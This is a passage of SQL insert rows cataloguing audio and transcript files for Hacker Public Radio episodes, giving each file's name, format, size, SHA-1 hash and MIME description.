(3915,'hpr3915.wav','wav',339085788,'313f438dfecf1e0fe79649fa03772cbde5000326','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3915,'hpr3915.opus','opus',8825441,'7fb5511f45b31e4235b1f3db6622fdfa3f448320','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3915,'hpr3915.flac','flac',59134249,'811da40f0442f568548e7d6a6d8a233b1a615da6','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 169542183 samples'),
(3915,'hpr3915.spx','spx',3335733,'ca502f72d4e35079effc07c4f3c358bfcf9689d3','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3915,'hpr3915.ogg','ogg',8825166,'ed11b97b23d0b238086e76b8e6c4377dddcac0ca','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3915,'hpr3915.mp3','mp3',7066294,'58b069b4657f3bf7b5d31fe8f46b632e4e89690c','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3914,'hpr3914.wav','wav',131837262,'5ad9d9a3dc94aa29551b6e1f2460a2e6fe5256ac','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3914,'hpr3914.opus','opus',3156114,'02ee281d04484890d6d418e6b16e6e9223d92378','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3914,'hpr3914.flac','flac',26396808,'4681dee781ebab3090717a3b31c4b81b76e113b1','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 65917928 samples'),
(3914,'hpr3914.spx','spx',1297263,'081486aa4fc215b9891ff6e91cfb4d212be034ae','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3914,'hpr3914.ogg','ogg',3155854,'641642f2923ae9b4933565a5cc3d53e862af6839','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3914,'hpr3914.mp3','mp3',2748583,'b0201ace41c0727f0bccd4fcfd0d2fc811158c43','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3913,'hpr3913.wav','wav',152473014,'c8f35fa2087113c5a63ecdbb1d537f6a54f3fd29','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3913,'hpr3913.opus','opus',3666070,'d060345284f6c1197cddac5d1f2170e1decfaa00','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3913,'hpr3913.ogg','ogg',3665783,'d55b2f94611dabde01c351bd3275c2686c28438d','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3913,'hpr3913.spx','spx',1500273,'04af17678176dd3fc48941c066516ec7e17c2918','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3913,'hpr3913.flac','flac',29058349,'687b673a3cceafe03676dae6a1e581664b40e52e','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 76235790 samples'),
(3912,'hpr3912.opus','opus',2943529,'8b52e1a62cf15cddd239fed087dd6dd1337ad3fa','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3912,'hpr3912.wav','wav',120510008,'53d4f74b56a5d29bf2eb34d337737de728d1151f','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3913,'hpr3913.mp3','mp3',3178498,'7796f6756a740aac076bafbf69f268cc440185f3','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3912,'hpr3912.flac','flac',23751862,'ce013a32eb350b3599e6958432af2b0354e78901','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 60254285 samples'),
(3912,'hpr3912.ogg','ogg',2943238,'1b45c0a821d741e0dd6a4b9cda60791843da086b','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3912,'hpr3912.spx','spx',1185859,'b2d0f6ce6e30be2505755f6ba543ffa5294a63da','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3912,'hpr3912.mp3','mp3',2512646,'a9e1fe253a86da69ada4edcda87cd20eec2b29e7','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3911,'hpr3911.wav','wav',513148682,'93f2932f3275e5a884cc074f650e673b99528223','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3911,'hpr3911.opus','opus',10876322,'604ab331a0454b637c5e1e97a1fafb1d45aaec3f','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3911,'hpr3911.flac','flac',110219633,'cd90467374ddaa60368ed640cf048a909d8dff5c','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 256573628 samples'),
(3911,'hpr3911.spx','spx',5047843,'e078ec0a9a3be203a76f9fd7557e19b14645e06f','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3911,'hpr3911.mp3','mp3',10692602,'8308f5f474be43e9727ccafbb68007683202f2de','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3911,'hpr3911.ogg','ogg',10876043,'3ab129313300659091838f675fb4fafcffe79159','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3909,'hpr3909.wav','wav',295280682,'2b377d1593a72360f22001d66947a162187fc42e','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3909,'hpr3909.opus','opus',6557954,'76d0db82381de0fffea8194e5c7e53f22a7b1e0e','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3909,'hpr3909.flac','flac',65658915,'4441bf5a6e622608c9b8f9351bdad7f1f0d6a9d0','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 147639641 samples'),
(3909,'hpr3909.ogg','ogg',6557700,'8616fbace90b55454e87e7e8d094518bf5e0e13a','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3909,'hpr3909.spx','spx',2904807,'a38d4f36bc857420a490fc6a33551c4affe6c136','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3909,'hpr3909.mp3','mp3',6153505,'5d51a934988b05b530ee037660667d0440c4d825','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3918,'hpr3918.wav','wav',362884612,'1a2b811348de659603ea17022da088127311f26c','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3918,'hpr3918.opus','opus',9763346,'334febfe10ff35618f74099f986a36c275ca1519','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3918,'hpr3918.flac','flac',80541238,'4bedc14329dbc32b1fc8b183a60a0f8974b3e7e7','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 181441585 samples'),
(3918,'hpr3918.spx','spx',3569852,'3902cad2627c31611421c61898fd6d4e5df3536d','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3918,'hpr3918.ogg','ogg',9763051,'f9492b595b254704123223f9b3f14477b5c5d018','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3918,'hpr3918.mp3','mp3',7562058,'cbd19d29c3cfed365fbf65b5eda76e4fd0d07ea0','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3908,'hpr3908.wav','wav',287286914,'31beb1eda4b9467a97829746e9b7a68666d40a8c','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3908,'hpr3908.opus','opus',7707133,'b57b9c796089dcdd3717ace3410a313e6a6a2c0e','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3908,'hpr3908.flac','flac',63471107,'2c405a5a3ad00055c3cf70ffbb7717def2fcb5dc','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 143642737 samples'),
(3908,'hpr3908.spx','spx',2826232,'a658c1f21400124a64f88759f4dd6e68618609a6','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3908,'hpr3908.ogg','ogg',7706839,'8328417cc9f62a773329b9a87bed99847acaa062','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3908,'hpr3908.mp3','mp3',5987081,'7664aa60e69bf509a30d13e482aed26c5acfd5c5','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3907,'hpr3907.wav','wav',473776700,'d3a29fac6f1cdb258a580f7013dcb87716d910a7','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3907,'hpr3907.opus','opus',10420582,'391b109151bdb850c71a19d094fa51c49c9e6625','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3907,'hpr3907.flac','flac',88659760,'2bee119fe1e663e667036ffa7557255930e815f2','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 236887667 samples'),
(3907,'hpr3907.spx','spx',4660478,'fda59e684c2f3de3018bc90a4952c712c0c739a7','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3907,'hpr3907.ogg','ogg',10420362,'6030efc0bc1e573e7aed0727c4a632fb2c14fdc8','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3907,'hpr3907.mp3','mp3',9872127,'a87a1f13834a36dfabca3b1e17afc0d5f937aabd','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3906,'hpr3906.opus','opus',16836657,'5417251e9ec069fddde80d10c2831dfd17a59e19','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3906,'hpr3906.wav','wav',699501690,'e072d436f9694533f0ca96e41bee396a8eba5fb1','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3906,'hpr3906.spx','spx',6880715,'007e994ff273f11f06a8b9fa865233aa93d8cd3c','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3906,'hpr3906.flac','flac',140014547,'4945a658a11f64a924b15d1574976263f7075df5','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 349750144 samples'),
(3906,'hpr3906.ogg','ogg',16836401,'47625058a4c126034eddb9e2537e37b396d66db3','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3906,'hpr3906.mp3','mp3',14574819,'b3a92e38a1540d4348f77857395881da56f5d6a9','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3905,'hpr3905.wav','wav',455369278,'2a844cdaa63f82b4d267564ae8aa374003a9c71e','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3905,'hpr3905.opus','opus',10114854,'41252fae332ed8c081da5d08cd0f47e1288e5c8f','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3905,'hpr3905.spx','spx',4479429,'305a14b340745d593757d5ba5d6f24ef1cbb7fd6','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3905,'hpr3905.flac','flac',71162579,'8c7c77cfbce4d0d3876abe4e6b59b2ae65892091','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 227683945 samples'),
(3905,'hpr3905.ogg','ogg',10114612,'70eb849253d54a52b4f184e9c803f7963c808e98','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3905,'hpr3905.mp3','mp3',9488725,'bd52905dfaf233df2270b31f5617d19294888485','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3904,'hpr3904.wav','wav',1129741862,'abfb46102ee60e968d9d3f75bbed40a3185de639','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3904,'hpr3904.opus','opus',28330314,'324d8803561bd73eaac30dc93be923905ce92743','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3904,'hpr3904.flac','flac',223630948,'1f24e3807cd26d62c678e1fccab9974f7b9c039c','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 564870226 samples'),
(3904,'hpr3904.spx','spx',11112564,'0e755c1438baac24098366eaa712bee529d40cab','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3904,'hpr3904.ogg','ogg',28330051,'3fc541c45a79cf7e8a551a018f23673e7f3d1ca8','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3904,'hpr3904.mp3','mp3',23538154,'0ea71ae84ae8d9db0a95ff91be0f982361f5338b','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3903,'hpr3903.wav','wav',183043558,'85c7b72cd23f2d05ccae01a7724d450de6da939c','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3903,'hpr3903.opus','opus',4414829,'006f31e39c327fdaf4704509a9710c0abe8a983d','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3903,'hpr3903.flac','flac',35235354,'288ac61506876c22c9dd10775d3cd0586f65f2b6','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 91521076 samples'),
(3903,'hpr3903.spx','spx',1800878,'cad52fb60fc4068ddf2443b31074f1c0171fed9b','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3903,'hpr3903.ogg','ogg',4414570,'359e68117506d5ffecd1395b7a6fbc8488f7d586','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3903,'hpr3903.mp3','mp3',3815334,'5e751e6941c624180a8e7eeca43dbe531674f57d','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3902,'hpr3902.wav','wav',213093220,'71d3c5e74154123f135590d48f03d2f9a4722354','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3902,'hpr3902.opus','opus',4643539,'cd3ecaba2a0a179385133bf5fa11317aa69c54e7','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3902,'hpr3902.flac','flac',43243204,'e02262c719cf5104f1f8ec8383e06e4d7b175718','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 106545894 samples'),
(3902,'hpr3902.spx','spx',2096486,'0c6e06c60001522fe15152ffaf48814588a27433','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3902,'hpr3902.ogg','ogg',4643253,'42e0f03fb7fd0d9ae074ca4a2da088989f18c1ee','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3902,'hpr3902.mp3','mp3',4441281,'230cbf0f68cd553aad52fd8474d3571408d4bfe3','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3921,'hpr3921.wav','wav',2536180096,'68d80d50ed4f23201298a399fa6be9b48c5eb849','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3921,'hpr3921.opus','opus',59966057,'30bf4f3e57289340b5077d25be8436db14cdb9f8','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3899,'hpr3899.wav','wav',154997100,'16defa81aacbaa00e129a5541e7ce6cf8bea10d3','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3921,'hpr3921.mp3','mp3',52838969,'cad3c36ce9316bb65ac3cba3d67bd4e7c0ebb3c0','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3921,'hpr3921.ogg','ogg',59965715,'3955817622559c99e7d36cf106f0b85966133cb3','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3921,'hpr3921.spx','spx',24946267,'faf01beb6bf72a6b6c612cb0c9a4555b9ea884b7','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3921,'hpr3921.flac','flac',440278857,'ef49280319b56778919a1bd97da4c7728de40a6c','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 1268089304 samples'),
(3899,'hpr3899.opus','opus',3458103,'29cbb24c16c952461534b35430b12d893c18cd96','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3897,'hpr3897.opus','opus',59617504,'88f9e7f491911f1c7c6ca97b7a56e4e49c93d6c4','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3897,'hpr3897.wav','wav',2383066478,'177f1d6b65389c32d9cd8a2ac184403ceab48e1c','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3899,'hpr3899.mp3','mp3',3231127,'63c1dde5f4bbb9e2e974522c47fec45262202bfb','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3899,'hpr3899.ogg','ogg',3457795,'863068a6d3bf1980ed2ea30bf820b17daa54f70e','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3899,'hpr3899.spx','spx',1525056,'94fffedede056b88a3e5e861a76da34a7c76426e','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3899,'hpr3899.flac','flac',29453108,'a52c8d31b532259ba666433a6262106094896817','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 77497823 samples'),
(3897,'hpr3897.flac','flac',409916670,'d78566d052029ac924efe954ebaeb7410b79f530','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 1191532496 samples'),
(3897,'hpr3897.spx','spx',23440216,'d821f3c74302739943c72aa5712b3f504b5c4490','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3897,'hpr3897.ogg','ogg',59617165,'e057d080f303abed78ba6ee5ff0e3b06e8c1a9a3','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3896,'hpr3896.wav','wav',331365618,'3cbf1e2e17a96d32bb3a821218bcfc02dd83a286','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3897,'hpr3897.mp3','mp3',49649270,'6c0e30351e81d65fd76b8d1d11eaf68d7e03bc22','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3896,'hpr3896.opus','opus',6969718,'072be9f52a198709028ad092820d20c79fa900d7','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3896,'hpr3896.mp3','mp3',6905388,'e926bc12320f7f1fcf57d6a8ef5f660496f03787','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3896,'hpr3896.ogg','ogg',6969453,'69dc1cd566f43dc4d1be0f9a15364a91aeaf3522','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3896,'hpr3896.spx','spx',3259781,'9a7f73097b75ecc959db74fee3ef1c7c7a3346bb','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3896,'hpr3896.flac','flac',68513180,'46a19f6c697bfbb459190aa6d3a42305cf759d21','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 165682103 samples'),
(3895,'hpr3895.wav','wav',228468510,'929736c21dab129ea79e4602bbf2d7e3885995a6','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3895,'hpr3895.opus','opus',4982026,'c2bd194b230f6f2cf9436e29edaea8da65bbb8a1','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3895,'hpr3895.flac','flac',37023124,'9647d412a44085ce563d995cb5fd6af019245c54','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 114233553 samples'),
(3895,'hpr3895.spx','spx',2247688,'3e5dbcd524e63e38384142a303a375d6547b8425','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3895,'hpr3895.ogg','ogg',4981768,'e497d4b64e6fdfbe6784065b7c9306ca6ab6c310','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3892,'hpr3892.flac','flac',180158081,'e0b5f79c9eec958ca563f00e888d415ed06cfb83','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 424906297 samples'),
(3892,'hpr3892.opus','opus',21164733,'cb335a08b691854312940683504c555ede8f9936','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3892,'hpr3892.wav','wav',849814022,'7e17bb5cebc1e5d2b8f340e38d3a55efec5be12b','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3895,'hpr3895.mp3','mp3',4761701,'f5dca84e4f561418c4ddce0dc3c6146e50fac056','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3892,'hpr3892.spx','spx',8359224,'881e4eef2b91cae05f5b4efbc5f57fc4461edba1','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3891,'hpr3891.mp3','mp3',49822411,'d4df28efe652c280e25b1861f635677f3d92e752','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3891,'hpr3891.ogg','ogg',52748095,'e812c7b1a1c94c075b80d93ef75c46f13f8f445b','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3891,'hpr3891.spx','spx',23522067,'48aae339081a1d783ec7741bcd8a9afa14fc124a','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3891,'hpr3891.flac','flac',452002411,'9e3d161ec7ff970142f2519481ea42c0265b574c','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 1195692352 samples'),
(3891,'hpr3891.opus','opus',52748391,'a26acaa7f543dd248fab3799308732981564fd0d','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3891,'hpr3891.wav','wav',2391386146,'4bfdd40dddd39f02bcfce3ae0fce55981fb75149','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3892,'hpr3892.mp3','mp3',17706364,'350247c53902db9ae02e7d57b0d704c6cd5dce6c','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3892,'hpr3892.ogg','ogg',21164452,'23d540a89fcffa974ef2af891d12160b5c568e01','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3898,'hpr3898.ogg','ogg',14988359,'8e34cbb94410a928799361ff5f36560f63fa0d95','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3898,'hpr3898.wav','wav',601196132,'2bd25dd08585d79ae31d5707bab9b12151680a7e','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3898,'hpr3898.flac','flac',122354241,'233a352203d41341f096804bd54041f26257eab4','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 300597369 samples'),
(3898,'hpr3898.spx','spx',5913794,'08bf8ac8196cc4a25f19b9cbcb2068faa622273b','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3898,'hpr3898.mp3','mp3',12526746,'d83305d37af82cd013e52982f5dbaee0b84da5f8','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3898,'hpr3898.opus','opus',14988606,'d48aa32139cda86b3b202cd9f2e89a0a317220e3','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3898,'hpr3898.txt','txt',22528,'4c8b4bd172cdef756b78a4af42a1fd48b4bbc3a2','text/plain; charset=us-ascii','setgid , ASCII text'),
(3898,'hpr3898.srt','srt',31730,'dc00fa76363112a81f2d34ce454b1f1bf78f0747','text/plain; charset=us-ascii','setgid , ASCII text'),
(3898,'hpr3898.vtt','vtt',29186,'fae9f437cb1e1a5763d3a0451d9999dc2595ac91','text/plain; charset=us-ascii','setgid , ASCII text'),
(3898,'hpr3898.tsv','tsv',26399,'276d3c9b90b36bcf3901df1d47ccf814560711e9','text/plain; charset=us-ascii','setgid , ASCII text'),
(3898,'hpr3898.json','json',135501,'0afa77dd541614c1e88af31611814220c3d0cf9f','application/json; charset=us-ascii','setgid JSON data'),
(3853,'hpr3853.txt','txt',9272,'884459903d6b1bfd342bdc9f9cd858dbecd586d5','text/plain; charset=us-ascii','setgid , ASCII text'),
(3853,'hpr3853.srt','srt',13574,'9d4a7b8e1d10461c1df8462167121d9cd79c12d4','text/plain; charset=us-ascii','setgid , ASCII text'),
(3853,'hpr3853.tsv','tsv',11018,'dd56cd385c28af02b430ef201625a1d79f324f1f','text/plain; charset=us-ascii','setgid , ASCII text'),
(3853,'hpr3853.json','json',58830,'7e7f1f4b5c285e3ef7a9bb454813bf1f28c71e4a','application/json; charset=us-ascii','setgid JSON data'),
(3853,'hpr3853.vtt','vtt',12430,'722c830723262283b4d7cf3fcfa51b384b5c49b6','text/plain; charset=us-ascii','setgid , ASCII text'),
(3872,'hpr3872.opus','opus',16834071,'94a9a8e2d2633860c7f9b056c7de3a23da457a1a','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3941,'hpr3941.opus','opus',35795333,'88a26ac2f9be1f4d22a54c130c219824087046d9','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3882,'hpr3882.tsv','tsv',11949,'7028909da46b016a97203cb69c402a11779a9bf4','text/plain; charset=us-ascii','setgid , ASCII text'),
(3882,'hpr3882.srt','srt',15105,'893aa6cdea6177e8c620067fe16b03023e7d31ed','text/plain; charset=us-ascii','setgid , ASCII text'),
(3882,'hpr3882.txt','txt',9823,'007cb8b5ba910b9b4c227a371816960f58f04724','text/plain; charset=us-ascii','setgid , ASCII text'),
(3882,'hpr3882.json','json',68700,'9b9cb59e1729c1373cda3846fcae3519b4168ddc','application/json; charset=us-ascii','setgid JSON data'),
(3882,'hpr3882.vtt','vtt',13681,'189c4cc56eb17e97f557ba1c8d0feccca8ee80f0','text/plain; charset=us-ascii','setgid , ASCII text'),
(3881,'hpr3881.srt','srt',26631,'fa88d4502e7b95c6a2409fe26ce08afac67120dc','text/plain; charset=us-ascii','setgid , ASCII text'),
(3881,'hpr3881.vtt','vtt',24247,'d08c6757b883aea2edcf8e4a8a451235237ad861','text/plain; charset=us-ascii','setgid , ASCII text'),
(3881,'hpr3881.txt','txt',17989,'d78c51e02bb26686e2b382b0db91e662a529b611','text/plain; charset=us-ascii','setgid , ASCII text'),
(3881,'hpr3881.tsv','tsv',21552,'88701b103471144434423d524b4343077c179492','text/plain; charset=us-ascii','setgid , ASCII text'),
(3881,'hpr3881.json','json',117769,'acc9cb3cd692176614ecab704040a5cb02776854','application/json; charset=us-ascii','setgid JSON data'),
(3886,'hpr3886_source.ogg','ogg',11886167,'5c89677359b0312d499541c5fd4e8a5d9f30c469','audio/ogg; charset=binary','setgid Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I (1.3.3)'),
(3941,'hpr3941.spx','spx',13763294,'30748c3515d4e378bf08929adc13a9aa661a042e','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3871,'hpr3871.txt','txt',76679,'c70aef06d2150b5c232d680349e1b92fe8d743ce','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3871,'hpr3871.json','json',466958,'d573721062f1ae7c67015685e4d41559d72e90c1','application/json; charset=us-ascii','setgid JSON data'),
(3871,'hpr3871.tsv','tsv',90879,'99403b69cf111a87a80ac40c73528814ebfea014','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3871,'hpr3871.srt','srt',108631,'e19f5b9e9ec55a26e87e7a429bf833359c4c3026','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3871,'hpr3871.vtt','vtt',101486,'555d5d0e0ab9f4826712d22038c02f278e9ffe63','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3886,'hpr3886.wav','wav',508144182,'860e4f420eae4ce94c285dc04a57e92fc584edc1','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3856,'hpr3856.vtt','vtt',46554,'6c8310c0c886011c9454daa68c703fed139c48f2','text/plain; charset=us-ascii','setgid , ASCII text'),
(3856,'hpr3856.tsv','tsv',42687,'1bf110b5a9ccfcbdf403e2982e879f2e66a24e0d','text/plain; charset=us-ascii','setgid , ASCII text'),
(3856,'hpr3856.txt','txt',36846,'a30d0647c087b9bf6466702fe693f20788eea06e','text/plain; charset=us-ascii','setgid , ASCII text'),
